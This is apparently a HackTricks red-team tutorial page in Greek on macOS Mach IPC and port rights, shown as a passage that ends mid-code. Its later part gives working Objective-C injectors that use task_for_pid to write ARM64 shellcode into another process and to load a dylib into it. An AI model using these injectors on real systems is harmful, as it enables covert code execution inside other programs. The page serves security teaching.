macOS IPC - Inter Process Communication
Reading time: 24 minutes
tip
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
Mach messaging via Ports
Basic Information
Το Mach χρησιμοποιεί tasks ως τη μικρότερη μονάδα για την κοινή χρήση πόρων, και κάθε task μπορεί να περιέχει πολλές νήματα. Αυτές οι tasks και νήματα αντιστοιχούν 1:1 σε διαδικασίες και νήματα POSIX.
Η επικοινωνία μεταξύ των tasks συμβαίνει μέσω της Mach Inter-Process Communication (IPC), χρησιμοποιώντας κανάλια επικοινωνίας ενός τρόπου. Τα μηνύματα μεταφέρονται μεταξύ των ports, τα οποία λειτουργούν ως ουρές μηνυμάτων που διαχειρίζεται ο πυρήνας.
Κάθε διαδικασία έχει έναν πίνακα IPC, όπου είναι δυνατή η εύρεση των mach ports της διαδικασίας. Το όνομα ενός mach port είναι στην πραγματικότητα ένας αριθμός (ένας δείκτης στο αντικείμενο του πυρήνα).
Μια διαδικασία μπορεί επίσης να στείλει ένα όνομα port με ορισμένα δικαιώματα σε μια διαφορετική task και ο πυρήνας θα κάνει αυτή την καταχώρηση στον πίνακα IPC της άλλης task να εμφανιστεί.
Port Rights
Τα δικαιώματα port, τα οποία καθορίζουν ποιες λειτουργίες μπορεί να εκτελέσει μια task, είναι κλειδί για αυτή την επικοινωνία. Τα πιθανά δικαιώματα port είναι (ορισμοί από εδώ):
- Δικαίωμα λήψης, το οποίο επιτρέπει τη λήψη μηνυμάτων που αποστέλλονται στο port. Τα Mach ports είναι MPSC (πολλοί παραγωγοί, ένας καταναλωτής) ουρές, που σημαίνει ότι μπορεί να υπάρχει μόνο ένα δικαίωμα λήψης για κάθε port σε ολόκληρο το σύστημα (σε αντίθεση με τους σωλήνες, όπου πολλές διαδικασίες μπορούν να κατέχουν περιγραφές αρχείων στο τέλος ανάγνωσης ενός σωλήνα).
- Μια task με το Δικαίωμα Λήψης μπορεί να λαμβάνει μηνύματα και να δημιουργεί Δικαιώματα Αποστολής, επιτρέποντάς της να στέλνει μηνύματα. Αρχικά μόνο η δική της task έχει Δικαίωμα Λήψης πάνω στο port της.
- Δικαίωμα αποστολής, το οποίο επιτρέπει την αποστολή μηνυμάτων στο port.
- Το Δικαίωμα Αποστολής μπορεί να κλωνοποιηθεί έτσι ώστε μια task που κατέχει ένα Δικαίωμα Αποστολής να μπορεί να κλωνοποιήσει το δικαίωμα και να το παραχωρήσει σε μια τρίτη task.
- Δικαίωμα αποστολής μία φορά, το οποίο επιτρέπει την αποστολή ενός μηνύματος στο port και στη συνέχεια εξαφανίζεται.
- Δικαίωμα συνόλου port, το οποίο δηλώνει ένα σύνολο port αντί για ένα μόνο port. Η αποδέσμευση ενός μηνύματος από ένα σύνολο port αποδεσμεύει ένα μήνυμα από ένα από τα ports που περιέχει. Τα σύνολα port μπορούν να χρησιμοποιηθούν για να ακούν σε αρκετά ports ταυτόχρονα, πολύ όπως το
select
/poll
/epoll
/kqueue
στο Unix. - Dead name, το οποίο δεν είναι πραγματικό δικαίωμα port, αλλά απλώς μια θέση κράτησης. Όταν ένα port καταστρέφεται, όλα τα υπάρχοντα δικαιώματα port στο port μετατρέπονται σε dead names.
Οι tasks μπορούν να μεταφέρουν ΔΙΚΑΙΩΜΑΤΑ ΑΠΟΣΤΟΛΗΣ σε άλλες, επιτρέποντάς τους να στέλνουν μηνύματα πίσω. Τα ΔΙΚΑΙΩΜΑΤΑ ΑΠΟΣΤΟΛΗΣ μπορούν επίσης να κλωνοποιηθούν, έτσι ώστε μια task να μπορεί να διπλασιάσει και να δώσει το δικαίωμα σε μια τρίτη task. Αυτό, σε συνδυασμό με μια ενδιάμεση διαδικασία γνωστή ως bootstrap server, επιτρέπει την αποτελεσματική επικοινωνία μεταξύ των tasks.
File Ports
Τα File ports επιτρέπουν την ενσωμάτωση περιγραφών αρχείων σε Mac ports (χρησιμοποιώντας δικαιώματα Mach port). Είναι δυνατή η δημιουργία ενός fileport
από μια δεδομένη FD χρησιμοποιώντας fileport_makeport
και η δημιουργία μιας FD από ένα fileport χρησιμοποιώντας fileport_makefd
.
Establishing a communication
Steps:
Όπως αναφέρθηκε, προκειμένου να καθιερωθεί το κανάλι επικοινωνίας, εμπλέκεται ο bootstrap server (launchd στο mac).
- Η task A ξεκινά ένα νέο port, αποκτώντας ένα ΔΙΚΑΙΩΜΑ ΛΗΨΗΣ στη διαδικασία.
- Η task A, ως κάτοχος του Δικαιώματος Λήψης, δημιουργεί ένα ΔΙΚΑΙΩΜΑ ΑΠΟΣΤΟΛΗΣ για το port.
- Η task A καθ establishes a connection με τον bootstrap server, παρέχοντας το όνομα υπηρεσίας του port και το ΔΙΚΑΙΩΜΑ ΑΠΟΣΤΟΛΗΣ μέσω μιας διαδικασίας γνωστής ως bootstrap register.
- Η task B αλληλεπιδρά με τον bootstrap server για να εκτελέσει μια bootstrap lookup για το όνομα υπηρεσίας. Εάν είναι επιτυχής, ο server διπλασιάζει το ΔΙΚΑΙΩΜΑ ΑΠΟΣΤΟΛΗΣ που έλαβε από την Task A και το μεταδίδει στην Task B.
- Με την απόκτηση ενός ΔΙΚΑΙΩΜΑΤΟΣ ΑΠΟΣΤΟΛΗΣ, η Task B είναι ικανή να διαμορφώσει ένα μήνυμα και να το αποστείλει στην Task A.
- Για μια αμφίδρομη επικοινωνία, συνήθως η task B δημιουργεί ένα νέο port με ένα ΔΙΚΑΙΩΜΑ ΛΗΨΗΣ και ένα ΔΙΚΑΙΩΜΑ ΑΠΟΣΤΟΛΗΣ, και δίνει το ΔΙΚΑΙΩΜΑ ΑΠΟΣΤΟΛΗΣ στην Task A ώστε να μπορεί να στέλνει μηνύματα στην TASK B (αμφίδρομη επικοινωνία).
Ο bootstrap server δεν μπορεί να πιστοποιήσει το όνομα υπηρεσίας που δηλώνει μια task. Αυτό σημαίνει ότι μια task θα μπορούσε δυνητικά να παριστάνει οποιαδήποτε συστημική task, όπως ψευδώς να δηλώνει ένα όνομα υπηρεσίας εξουσιοδότησης και στη συνέχεια να εγκρίνει κάθε αίτημα.
Στη συνέχεια, η Apple αποθηκεύει τα ονόματα υπηρεσιών που παρέχονται από το σύστημα σε ασφαλή αρχεία ρυθμίσεων, που βρίσκονται σε SIP-protected καταλόγους: /System/Library/LaunchDaemons
και /System/Library/LaunchAgents
. Μαζί με κάθε όνομα υπηρεσίας, το σχετικό δυαδικό αρχείο αποθηκεύεται επίσης. Ο bootstrap server θα δημιουργήσει και θα διατηρήσει ένα ΔΙΚΑΙΩΜΑ ΛΗΨΗΣ για καθένα από αυτά τα ονόματα υπηρεσίας.
Για αυτές τις προκαθορισμένες υπηρεσίες, η διαδικασία αναζήτησης διαφέρει ελαφρώς. Όταν αναζητείται ένα όνομα υπηρεσίας, το launchd ξεκινά την υπηρεσία δυναμικά. Η νέα ροή εργασίας είναι ως εξής:
- Η task B ξεκινά μια bootstrap lookup για ένα όνομα υπηρεσίας.
- Ο launchd ελέγχει αν η task εκτελείται και αν δεν εκτελείται, την ξεκινά.
- Η task A (η υπηρεσία) εκτελεί μια bootstrap check-in. Εδώ, ο bootstrap server δημιουργεί ένα ΔΙΚΑΙΩΜΑ ΑΠΟΣΤΟΛΗΣ, το διατηρεί και μεταφέρει το ΔΙΚΑΙΩΜΑ ΛΗΨΗΣ στην Task A.
- Ο launchd διπλασιάζει το ΔΙΚΑΙΩΜΑ ΑΠΟΣΤΟΛΗΣ και το στέλνει στην Task B.
- Η Task B δημιουργεί ένα νέο port με ένα ΔΙΚΑΙΩΜΑ ΛΗΨΗΣ και ένα ΔΙΚΑΙΩΜΑ ΑΠΟΣΤΟΛΗΣ, και δίνει το ΔΙΚΑΙΩΜΑ ΑΠΟΣΤΟΛΗΣ στην Task A (την svc) ώστε να μπορεί να στέλνει μηνύματα στην TASK B (αμφίδρομη επικοινωνία).
Ωστόσο, αυτή η διαδικασία ισχύει μόνο για προκαθορισμένες συστημικές tasks. Οι μη συστημικές tasks λειτουργούν ακόμα όπως περιγράφηκε αρχικά, γεγονός που θα μπορούσε δυνητικά να επιτρέψει την παρενόχληση.
A Mach Message
Η συνάρτηση mach_msg
, που είναι ουσιαστικά μια κλήση συστήματος, χρησιμοποιείται για την αποστολή και λήψη Mach μηνυμάτων. Η συνάρτηση απαιτεί το μήνυμα που θα σταλεί ως την αρχική παράμετρο. Αυτό το μήνυμα πρέπει να ξεκινά με μια δομή mach_msg_header_t
, ακολουθούμενη από το πραγματικό περιεχόμενο του μηνύματος. Η δομή ορίζεται ως εξής:
typedef struct {
mach_msg_bits_t msgh_bits;
mach_msg_size_t msgh_size;
mach_port_t msgh_remote_port;
mach_port_t msgh_local_port;
mach_port_name_t msgh_voucher_port;
mach_msg_id_t msgh_id;
} mach_msg_header_t;
Διεργασίες που κατέχουν ένα δικαίωμα λήψης μπορούν να λαμβάνουν μηνύματα σε μια Mach θύρα. Αντίθετα, οι αποστολείς έχουν ένα δικαίωμα αποστολής ή ένα δικαίωμα αποστολής-μία φορά. Το δικαίωμα αποστολής-μία φορά προορίζεται αποκλειστικά για την αποστολή ενός μόνο μηνύματος, μετά το οποίο καθίσταται άκυρο.
Για να επιτευχθεί μια εύκολη διπλής κατεύθυνσης επικοινωνία, μια διεργασία μπορεί να καθορίσει μια mach port στην κεφαλίδα μηνύματος που ονομάζεται θύρα απάντησης (msgh_local_port
) όπου ο δέκτης του μηνύματος μπορεί να στείλει μια απάντηση σε αυτό το μήνυμα. Οι bitflags στο msgh_bits
μπορούν να χρησιμοποιηθούν για να υποδείξουν ότι ένα δικαίωμα αποστολής-μία φορά θα πρέπει να παραχθεί και να μεταφερθεί για αυτή τη θύρα (MACH_MSG_TYPE_MAKE_SEND_ONCE
).
tip
Σημειώστε ότι αυτός ο τύπος διπλής κατεύθυνσης επικοινωνίας χρησιμοποιείται σε μηνύματα XPC που αναμένουν μια απάντηση (xpc_connection_send_message_with_reply
και xpc_connection_send_message_with_reply_sync
). Αλλά συνήθως δημιουργούνται διαφορετικές θύρες όπως εξηγήθηκε προηγουμένως για να δημιουργηθεί η διπλής κατεύθυνσης επικοινωνία.
Τα άλλα πεδία της κεφαλίδας μηνύματος είναι:
msgh_size
: το μέγεθος ολόκληρου του πακέτου.msgh_remote_port
: η θύρα στην οποία αποστέλλεται αυτό το μήνυμα.msgh_voucher_port
: mach vouchers.msgh_id
: το ID αυτού του μηνύματος, το οποίο ερμηνεύεται από τον δέκτη.
caution
Σημειώστε ότι τα mach μηνύματα αποστέλλονται μέσω μιας _mach port_, η οποία είναι ένα κανάλι επικοινωνίας με έναν μόνο δέκτη, πολλούς αποστολείς που είναι ενσωματωμένο στον πυρήνα mach. Πολλές διεργασίες μπορούν να στείλουν μηνύματα σε μια mach port, αλλά σε οποιαδήποτε στιγμή μόνο μία διεργασία μπορεί να διαβάσει από αυτήν.
Καταμέτρηση θυρών
lsmp -p <pid>
Μπορείτε να εγκαταστήσετε αυτό το εργαλείο σε iOS κατεβάζοντας το από http://newosxbook.com/tools/binpack64-256.tar.gz
Παράδειγμα κώδικα
Σημειώστε πώς ο αποστολέας κατανέμει μια θύρα, δημιουργεί ένα δικαίωμα αποστολής για το όνομα org.darlinghq.example
και το στέλνει στον διακομιστή εκκίνησης ενώ ο αποστολέας ζήτησε το δικαίωμα αποστολής αυτού του ονόματος και το χρησιμοποίησε για να στείλει ένα μήνυμα.
// Code from https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html
// gcc receiver.c -o receiver
#include <stdio.h>
#include <mach/mach.h>
#include <servers/bootstrap.h>
int main() {
// Create a new port.
mach_port_t port;
kern_return_t kr = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port);
if (kr != KERN_SUCCESS) {
printf("mach_port_allocate() failed with code 0x%x\n", kr);
return 1;
}
printf("mach_port_allocate() created port right name %d\n", port);
// Give us a send right to this port, in addition to the receive right.
kr = mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND);
if (kr != KERN_SUCCESS) {
printf("mach_port_insert_right() failed with code 0x%x\n", kr);
return 1;
}
printf("mach_port_insert_right() inserted a send right\n");
// Send the send right to the bootstrap server, so that it can be looked up by other processes.
kr = bootstrap_register(bootstrap_port, "org.darlinghq.example", port);
if (kr != KERN_SUCCESS) {
printf("bootstrap_register() failed with code 0x%x\n", kr);
return 1;
}
printf("bootstrap_register()'ed our port\n");
// Wait for a message.
struct {
mach_msg_header_t header;
char some_text[10];
int some_number;
mach_msg_trailer_t trailer;
} message;
kr = mach_msg(
&message.header, // Same as (mach_msg_header_t *) &message.
MACH_RCV_MSG, // Options. We're receiving a message.
0, // Size of the message being sent, if sending.
sizeof(message), // Size of the buffer for receiving.
port, // The port to receive a message on.
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL // Port for the kernel to send notifications about this message to.
);
if (kr != KERN_SUCCESS) {
printf("mach_msg() failed with code 0x%x\n", kr);
return 1;
}
printf("Got a message\n");
message.some_text[9] = 0;
printf("Text: %s, number: %d\n", message.some_text, message.some_number);
}
Προνομιακές Θύρες
- Θύρα φιλοξενίας: Εάν μια διαδικασία έχει δικαίωμα Αποστολής σε αυτή τη θύρα, μπορεί να αποκτήσει πληροφορίες για το σύστημα (π.χ.
host_processor_info
). - Θύρα φιλοξενίας με δικαιώματα: Μια διαδικασία με δικαίωμα Αποστολής σε αυτή τη θύρα μπορεί να εκτελεί προνομιακές ενέργειες όπως η φόρτωση μιας επέκτασης πυρήνα. Η διαδικασία πρέπει να είναι root για να αποκτήσει αυτή την άδεια.
- Επιπλέον, για να καλέσετε το API
kext_request
απαιτείται να έχετε άλλες εξουσιοδοτήσειςcom.apple.private.kext*
που δίνονται μόνο σε δυαδικά αρχεία της Apple. - Θύρα ονόματος εργασίας: Μια μη προνομιακή έκδοση της θύρας εργασίας. Αναφέρεται στην εργασία, αλλά δεν επιτρέπει τον έλεγχο της. Το μόνο που φαίνεται να είναι διαθέσιμο μέσω αυτής είναι το
task_info()
. - Θύρα εργασίας (aka θύρα πυρήνα): Με άδεια Αποστολής σε αυτή τη θύρα είναι δυνατός ο έλεγχος της εργασίας (ανάγνωση/γραφή μνήμης, δημιουργία νημάτων...).
- Καλέστε το
mach_task_self()
για να πάρετε το όνομα αυτής της θύρας για την καλούσα εργασία. Αυτή η θύρα είναι μόνο κληρονομούμενη μέσω τουexec()
; μια νέα εργασία που δημιουργείται μεfork()
αποκτά μια νέα θύρα εργασίας (ως ειδική περίπτωση, μια εργασία αποκτά επίσης μια νέα θύρα εργασίας μετά τοexec()
σε ένα δυαδικό αρχείο suid). Ο μόνος τρόπος για να δημιουργήσετε μια εργασία και να αποκτήσετε τη θύρα της είναι να εκτελέσετε τον "χορό ανταλλαγής θύρας" κατά τη διάρκεια ενόςfork()
. - Αυτοί είναι οι περιορισμοί για την πρόσβαση στη θύρα (από το
macos_task_policy
από το δυαδικό αρχείοAppleMobileFileIntegrity
): - Εάν η εφαρμογή έχει εξουσιοδότηση
com.apple.security.get-task-allow
, διαδικασίες από τον ίδιο χρήστη μπορούν να έχουν πρόσβαση στη θύρα εργασίας (συνήθως προστίθεται από το Xcode για αποσφαλμάτωση). Η διαδικασία πιστοποίησης δεν θα το επιτρέψει σε παραγωγικές εκδόσεις. - Εφαρμογές με την εξουσιοδότηση
com.apple.system-task-ports
μπορούν να αποκτήσουν τη θύρα εργασίας για οποιαδήποτε διαδικασία, εκτός από τον πυρήνα. Σε παλαιότερες εκδόσεις ονομαζότανtask_for_pid-allow
. Αυτό χορηγείται μόνο σε εφαρμογές της Apple. - Ο root μπορεί να έχει πρόσβαση σε θύρες εργασίας εφαρμογών που δεν έχουν μεταγλωττιστεί με σκληρή εκτέλεση (και όχι από την Apple).
Εισαγωγή Shellcode σε νήμα μέσω Θύρας Εργασίας
Μπορείτε να αποκτήσετε ένα shellcode από:
// clang -framework Foundation mysleep.m -o mysleep
// codesign --entitlements entitlements.plist -s - mysleep
#import <Foundation/Foundation.h>
double performMathOperations() {
double result = 0;
for (int i = 0; i < 10000; i++) {
result += sqrt(i) * tan(i) - cos(i);
}
return result;
}
int main(int argc, const char * argv[]) {
@autoreleasepool {
NSLog(@"Process ID: %d", [[NSProcessInfo processInfo]
processIdentifier]);
while (true) {
[NSThread sleepForTimeInterval:5];
performMathOperations(); // Silent action
[NSThread sleepForTimeInterval:5];
}
}
return 0;
}
Συγκεντρώστε το προηγούμενο πρόγραμμα και προσθέστε τα entitlements για να μπορείτε να εισάγετε κώδικα με τον ίδιο χρήστη (αν όχι, θα χρειαστεί να χρησιμοποιήσετε sudo).
sc_injector.m
// gcc -framework Foundation -framework Appkit sc_injector.m -o sc_injector
#import <Foundation/Foundation.h>
#import <AppKit/AppKit.h>
#include <mach/mach_vm.h>
#include <sys/sysctl.h>
#ifdef __arm64__
kern_return_t mach_vm_allocate
(
vm_map_t target,
mach_vm_address_t *address,
mach_vm_size_t size,
int flags
);
kern_return_t mach_vm_write
(
vm_map_t target_task,
mach_vm_address_t address,
vm_offset_t data,
mach_msg_type_number_t dataCnt
);
#else
#include <mach/mach_vm.h>
#endif
#define STACK_SIZE 65536
#define CODE_SIZE 128
// ARM64 shellcode that executes touch /tmp/lalala
char injectedCode[] = "\xff\x03\x01\xd1\xe1\x03\x00\x91\x60\x01\x00\x10\x20\x00\x00\xf9\x60\x01\x00\x10\x20\x04\x00\xf9\x40\x01\x00\x10\x20\x08\x00\xf9\x3f\x0c\x00\xf9\x80\x00\x00\x10\xe2\x03\x1f\xaa\x70\x07\x80\xd2\x01\x00\x00\xd4\x2f\x62\x69\x6e\x2f\x73\x68\x00\x2d\x63\x00\x00\x74\x6f\x75\x63\x68\x20\x2f\x74\x6d\x70\x2f\x6c\x61\x6c\x61\x6c\x61\x00";
int inject(pid_t pid){
task_t remoteTask;
// Get access to the task port of the process we want to inject into
kern_return_t kr = task_for_pid(mach_task_self(), pid, &remoteTask);
if (kr != KERN_SUCCESS) {
fprintf (stderr, "Unable to call task_for_pid on pid %d: %d. Cannot continue!\n",pid, kr);
return (-1);
}
else{
printf("Gathered privileges over the task port of process: %d\n", pid);
}
// Allocate memory for the stack
mach_vm_address_t remoteStack64 = (vm_address_t) NULL;
mach_vm_address_t remoteCode64 = (vm_address_t) NULL;
kr = mach_vm_allocate(remoteTask, &remoteStack64, STACK_SIZE, VM_FLAGS_ANYWHERE);
if (kr != KERN_SUCCESS)
{
fprintf(stderr,"Unable to allocate memory for remote stack in thread: Error %s\n", mach_error_string(kr));
return (-2);
}
else
{
fprintf (stderr, "Allocated remote stack @0x%llx\n", remoteStack64);
}
// Allocate memory for the code
remoteCode64 = (vm_address_t) NULL;
kr = mach_vm_allocate( remoteTask, &remoteCode64, CODE_SIZE, VM_FLAGS_ANYWHERE );
if (kr != KERN_SUCCESS)
{
fprintf(stderr,"Unable to allocate memory for remote code in thread: Error %s\n", mach_error_string(kr));
return (-2);
}
// Write the shellcode to the allocated memory
kr = mach_vm_write(remoteTask, // Task port
remoteCode64, // Virtual Address (Destination)
(vm_address_t) injectedCode, // Source
0xa9); // Length of the source
if (kr != KERN_SUCCESS)
{
fprintf(stderr,"Unable to write remote thread memory: Error %s\n", mach_error_string(kr));
return (-3);
}
// Set the permissions on the allocated code memory
kr = vm_protect(remoteTask, remoteCode64, 0x70, FALSE, VM_PROT_READ | VM_PROT_EXECUTE);
if (kr != KERN_SUCCESS)
{
fprintf(stderr,"Unable to set memory permissions for remote thread's code: Error %s\n", mach_error_string(kr));
return (-4);
}
// Set the permissions on the allocated stack memory
kr = vm_protect(remoteTask, remoteStack64, STACK_SIZE, TRUE, VM_PROT_READ | VM_PROT_WRITE);
if (kr != KERN_SUCCESS)
{
fprintf(stderr,"Unable to set memory permissions for remote thread's stack: Error %s\n", mach_error_string(kr));
return (-4);
}
// Create thread to run shellcode
struct arm_unified_thread_state remoteThreadState64;
thread_act_t remoteThread;
memset(&remoteThreadState64, '\0', sizeof(remoteThreadState64) );
remoteStack64 += (STACK_SIZE / 2); // this is the real stack
//remoteStack64 -= 8; // need alignment of 16
const char* p = (const char*) remoteCode64;
remoteThreadState64.ash.flavor = ARM_THREAD_STATE64;
remoteThreadState64.ash.count = ARM_THREAD_STATE64_COUNT;
remoteThreadState64.ts_64.__pc = (u_int64_t) remoteCode64;
remoteThreadState64.ts_64.__sp = (u_int64_t) remoteStack64;
printf ("Remote Stack 64 0x%llx, Remote code is %p\n", remoteStack64, p );
kr = thread_create_running(remoteTask, ARM_THREAD_STATE64, // ARM_THREAD_STATE64,
(thread_state_t) &remoteThreadState64.ts_64, ARM_THREAD_STATE64_COUNT , &remoteThread );
if (kr != KERN_SUCCESS) {
fprintf(stderr,"Unable to create remote thread: error %s", mach_error_string (kr));
return (-3);
}
return (0);
}
pid_t pidForProcessName(NSString *processName) {
NSArray *arguments = @[@"pgrep", processName];
NSTask *task = [[NSTask alloc] init];
[task setLaunchPath:@"/usr/bin/env"];
[task setArguments:arguments];
NSPipe *pipe = [NSPipe pipe];
[task setStandardOutput:pipe];
NSFileHandle *file = [pipe fileHandleForReading];
[task launch];
NSData *data = [file readDataToEndOfFile];
NSString *string = [[NSString alloc] initWithData:data encoding:NSUTF8StringEncoding];
return (pid_t)[string integerValue];
}
BOOL isStringNumeric(NSString *str) {
NSCharacterSet* nonNumbers = [[NSCharacterSet decimalDigitCharacterSet] invertedSet];
NSRange r = [str rangeOfCharacterFromSet: nonNumbers];
return r.location == NSNotFound;
}
int main(int argc, const char * argv[]) {
@autoreleasepool {
if (argc < 2) {
NSLog(@"Usage: %s <pid or process name>", argv[0]);
return 1;
}
NSString *arg = [NSString stringWithUTF8String:argv[1]];
pid_t pid;
if (isStringNumeric(arg)) {
pid = [arg intValue];
} else {
pid = pidForProcessName(arg);
if (pid == 0) {
NSLog(@"Error: Process named '%@' not found.", arg);
return 1;
}
else{
printf("Found PID of process '%s': %d\n", [arg UTF8String], pid);
}
}
inject(pid);
}
return 0;
}
gcc -framework Foundation -framework Appkit sc_inject.m -o sc_inject
./inject <pi or string>
Dylib Injection in thread via Task port
Στο macOS, οι νήματα μπορεί να χειριστούν μέσω Mach ή χρησιμοποιώντας το posix pthread
api. Το νήμα που δημιουργήσαμε στην προηγούμενη ένεση, δημιουργήθηκε χρησιμοποιώντας το Mach api, οπότε δεν είναι συμβατό με posix.
Ήταν δυνατό να εισαχθεί ένας απλός κώδικας για να εκτελέσει μια εντολή επειδή δεν χρειαζόταν να λειτουργεί με apis συμβατά με posix, μόνο με Mach. Πιο σύνθετες ενέσεις θα χρειάζονταν το νήμα να είναι επίσης συμβατό με posix.
Επομένως, για να βελτιωθεί το νήμα, θα πρέπει να καλέσει pthread_create_from_mach_thread
που θα δημιουργήσει ένα έγκυρο pthread. Στη συνέχεια, αυτό το νέο pthread θα μπορούσε να καλέσει dlopen για να φορτώσει ένα dylib από το σύστημα, έτσι ώστε αντί να γράφει νέο κώδικα για να εκτελέσει διάφορες ενέργειες, είναι δυνατό να φορτώσει προσαρμοσμένες βιβλιοθήκες.
Μπορείτε να βρείτε παραδείγματα dylibs σε (για παράδειγμα, αυτό που δημιουργεί ένα log και στη συνέχεια μπορείτε να το ακούσετε):
Macos Dyld Hijacking And Dyld Insert Libraries
dylib_injector.m
// gcc -framework Foundation -framework Appkit dylib_injector.m -o dylib_injector
// Based on http://newosxbook.com/src.jl?tree=listings&file=inject.c
#include <dlfcn.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <mach/mach.h>
#include <mach/error.h>
#include <errno.h>
#include <stdlib.h>
#include <sys/sysctl.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <pthread.h>
#ifdef __arm64__
//#include "mach/arm/thread_status.h"
// Apple says: mach/mach_vm.h:1:2: error: mach_vm.h unsupported
// And I say, bullshit.
kern_return_t mach_vm_allocate
(
vm_map_t target,
mach_vm_address_t *address,
mach_vm_size_t size,
int flags
);
kern_return_t mach_vm_write
(
vm_map_t target_task,
mach_vm_address_t address,
vm_offset_t data,
mach_msg_type_number_t dataCnt
);
#else
#include <mach/mach_vm.h>
#endif
#define STACK_SIZE 65536
#define CODE_SIZE 128
char injectedCode[] =
// "\x00\x00\x20\xd4" // BRK X0 ; // useful if you need a break :)
// Call pthread_set_self
"\xff\x83\x00\xd1" // SUB SP, SP, #0x20 ; Allocate 32 bytes of space on the stack for local variables
"\xFD\x7B\x01\xA9" // STP X29, X30, [SP, #0x10] ; Save frame pointer and link register on the stack
"\xFD\x43\x00\x91" // ADD X29, SP, #0x10 ; Set frame pointer to current stack pointer
"\xff\x43\x00\xd1" // SUB SP, SP, #0x10 ; Space for the
"\xE0\x03\x00\x91" // MOV X0, SP ; (arg0)Store in the stack the thread struct
"\x01\x00\x80\xd2" // MOVZ X1, 0 ; X1 (arg1) = 0;
"\xA2\x00\x00\x10" // ADR X2, 0x14 ; (arg2)12bytes from here, Address where the new thread should start
"\x03\x00\x80\xd2" // MOVZ X3, 0 ; X3 (arg3) = 0;
"\x68\x01\x00\x58" // LDR X8, #44 ; load address of PTHRDCRT (pthread_create_from_mach_thread)
"\x00\x01\x3f\xd6" // BLR X8 ; call pthread_create_from_mach_thread
"\x00\x00\x00\x14" // loop: b loop ; loop forever
// Call dlopen with the path to the library
"\xC0\x01\x00\x10" // ADR X0, #56 ; X0 => "LIBLIBLIB...";
"\x68\x01\x00\x58" // LDR X8, #44 ; load DLOPEN
"\x01\x00\x80\xd2" // MOVZ X1, 0 ; X1 = 0;
"\x29\x01\x00\x91" // ADD x9, x9, 0 - I left this as a nop
"\x00\x01\x3f\xd6" // BLR X8 ; do dlopen()
// Call pthread_exit
"\xA8\x00\x00\x58" // LDR X8, #20 ; load PTHREADEXT
"\x00\x00\x80\xd2" // MOVZ X0, 0 ; X1 = 0;
"\x00\x01\x3f\xd6" // BLR X8 ; do pthread_exit
"PTHRDCRT" // <-
"PTHRDEXT" // <-
"DLOPEN__" // <-
"LIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIB"
"\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00"
"\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00"
"\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00"
"\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00"
"\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" ;
int inject(pid_t pid, const char *lib) {
task_t remoteTask;
struct stat buf;
// Check if the library exists
int rc = stat (lib, &buf);
if (rc != 0)
{
fprintf (stderr, "Unable to open library file %s (%s) - Cannot inject\n", lib,strerror (errno));
//return (-9);
}
// Get access to the task port of the process we want to inject into
kern_return_t kr = task_for_pid(mach_task_self(), pid, &remoteTask);
if (kr != KERN_SUCCESS) {
fprintf (stderr, "Unable to call task_for_pid on pid %d: %d. Cannot continue!\n",pid, kr);
return (-1);
}
else{
printf("Gathered privileges over the task port of process: %d\n", pid);
}
// Allocate memory for the stack
mach_vm_address_t remoteStack64 = (vm_address_t) NULL;
mach_vm_address_t remoteCode64 = (vm_address_t) NULL;
kr = mach_vm_allocate(remoteTask, &remoteStack64, STACK_SIZE, VM_FLAGS_ANYWHERE);
if (kr != KERN_SUCCESS)
{
fprintf(stderr,"Unable to allocate memory for remote stack in thread: Error %s\n", mach_error_string(kr));
return (-2);
}
else
{
fprintf (stderr, "Allocated remote stack @0x%llx\n", remoteStack64);
}
// Allocate memory for the code
remoteCode64 = (vm_address_t) NULL;
kr = mach_vm_allocate( remoteTask, &remoteCode64, CODE_SIZE, VM_FLAGS_ANYWHERE );
if (kr != KERN_SUCCESS)
{
fprintf(stderr,"Unable to allocate memory for remote code in thread: Error %s\n", mach_error_string(kr));
return (-2);
}
// Patch shellcode
int i = 0;
char *possiblePatchLocation = (injectedCode );
for (i = 0 ; i < 0x100; i++)
{
// Patching is crude, but works.
//
extern void *_pthread_set_self;
possiblePatchLocation++;
uint64_t addrOfPthreadCreate = dlsym ( RTLD_DEFAULT, "pthread_create_from_mach_thread"); //(uint64_t) pthread_create_from_mach_thread;
uint64_t addrOfPthreadExit = dlsym (RTLD_DEFAULT, "pthread_exit"); //(uint64_t) pthread_exit;
uint64_t addrOfDlopen = (uint64_t) dlopen;
if (memcmp (possiblePatchLocation, "PTHRDEXT", 8) == 0)
{
memcpy(possiblePatchLocation, &addrOfPthreadExit,8);
printf ("Pthread exit @%llx, %llx\n", addrOfPthreadExit, pthread_exit);
}
if (memcmp (possiblePatchLocation, "PTHRDCRT", 8) == 0)
{
memcpy(possiblePatchLocation, &addrOfPthreadCreate,8);
printf ("Pthread create from mach thread @%llx\n", addrOfPthreadCreate);
}
if (memcmp(possiblePatchLocation, "DLOPEN__", 6) == 0)
{
printf ("DLOpen @%llx\n", addrOfDlopen);
memcpy(possiblePatchLocation, &addrOfDlopen, sizeof(uint64_t));
}
